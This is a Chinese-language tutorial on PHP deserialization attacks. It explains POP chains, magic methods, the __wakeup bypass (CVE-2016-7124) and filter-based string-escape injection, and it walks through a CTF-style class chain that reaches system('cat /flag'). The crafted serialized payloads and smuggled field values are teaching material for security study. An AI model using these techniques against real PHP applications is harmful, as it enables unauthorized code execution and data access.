POP:Property-Oriented Programming 面向属性编程POP链:通过多个属性/对象之前的调用关系形成的一个可利用链(如有错误请指正)PHP魔法函数:在php的语法中,有一些系统自带的方法名,均以双下划线开头,它会在特定的情况下被调用,即所谓的魔法函数PHP序列化:将PHP变量或对象转换成字符串PHP反序列化:将字符串转换成PHP变量或对象
0x02 PHP序列化与反序列化写一个简单的demo,类man中有name喝age属性,__construct是魔法函数,在创建对象的时候会调用,serialize()函数就是序列化,var_dump会打印序列化后的字符串
<?php class man{ public $name; public $age; function __construct($name,$age){ $this->name = $name; $this->age = $age; } } $man=new man("Bob",5); var_dump(serialize($man)); $uman='O:3:"man":2:{s:4:"name";s:3:"Bob";s:3:"age";i:5;};1234:666'; var_dump(unserialize($uman)); ?> |
0x03 __wakeup()魔术方法绕过(CVE-2016-7124)unserialize()会检查类是否有__wakeup()魔术方法,有的话会先调用该方法,稍微改一下上面的demo,可以看到在反序列化的时候调用了__wakeup魔术方法:
<?php class man{ public $name; public $age; function __construct($name,$age){ $this->name = $name; $this->age = $age; } function __wakeup(){ echo 'Its __wakeup'; } } $man=new man("Bob",5); var_dump(unserialize((serialize($man)) )); ?> |
<?php class man{ public $name; public $age; function __construct($name,$age){ $this->name = $name; $this->age = $age; } function __wakeup(){ echo 'Its __wakeup'; } } $man=new man("Bob",5); var_dump(unserialize('O:3:"man":3:{s:4:"name";s:3:"Bob";s:3:"age";i:5;}') )); ?> |
<?php function filter($string){ $a = str_replace('11','2',$string); return $a; } $username = '111111'; $password="abcdef"; $user = array($username, $password); $a=(serialize($user)); echo $a;echo "\n"; $r = filter($a); echo $r;echo "\n"; var_dump(unserialize($r)); ?> |
<?php function filter($string){ $a = str_replace('11','2',$string); return $a; } $username = '111111111111111111111111'; $password='";i:1;i:1;}xxx'; $user = array($username, $password); $a=(serialize($user)); echo $a;echo "\n"; $r = filter($a); echo $r;echo "\n"; var_dump(unserialize($r)); ?> |
... if (isset($_GET['username']) && isset($_GET['password'])){ $username = $_GET['username']; $password = $_GET['password']; $player = new player($username, $password); file_put_contents("caches/".md5($_SERVER['REMOTE_ADDR']), write(serialize($player))); echo sprintf('Welcome %s, your ip is %s\n', $username, $_SERVER['REMOTE_ADDR']); } else{ echo "Please input the username or password!\n"; } ... |
<?php function read($data){ $data = str_replace('\0*\0', chr(0)."*".chr(0), $data); var_dump($data); return $data; } function write($data){ $data = str_replace(chr(0)."*".chr(0), '\0*\0', $data); return $data; } function check($data) { if(stristr($data, 'name')!==False){ die("Name Pass\n"); } else{ return $data; } } ?> |
... @$player = unserialize(read(check(file_get_contents("caches/".md5($_SERVER['REMOTE_ADDR']))))); ... |
<?php class player{ protected $user; protected $pass; protected $admin; public function __construct($user, $pass, $admin = 0){ $this->user = $user; $this->pass = $pass; $this->admin = $admin; } public function get_admin(){ $this->admin = 1; return $this->admin ; } } class topsolo{ protected $name; public function __construct($name = 'Riven'){ $this->name = $name; } public function TP(){ if (gettype($this->name) === "function" or gettype($this->name) === "object"){ $name = $this->name; $name(); } } public function __destruct(){ $this->TP(); } } class midsolo{ protected $name; public function __construct($name){ $this->name = $name; } public function __wakeup(){ if ($this->name !== 'Yasuo'){ $this->name = 'Yasuo'; echo "No Yasuo! No Soul!\n"; } } public function __invoke(){ $this->Gank(); } public function Gank(){ if (stristr($this->name, 'Yasuo')){ echo "Are you orphan?\n"; } else{ echo "Must Be Yasuo!\n"; } } } class jungle{ protected $name = ""; public function __construct($name = "Lee Sin"){ $this->name = $name; } public function KS(){ system("cat /flag"); } public function __toString(){ $this->KS(); return ""; } } ?> |
__construct() //当一个对象创建时被调用
__destruct() //当一个对象销毁时被调用
__wakeup() //使用unserialize时触发
__sleep() //使用serialize时触发
__toString() //把类当作字符串使用时触发
__invoke() //当脚本尝试将对象调用为函数时触发
参考链接:https://www.freebuf.com/articles/web/247930.htmlhttps://www.cnblogs.com/tr1ple/p/11876441.html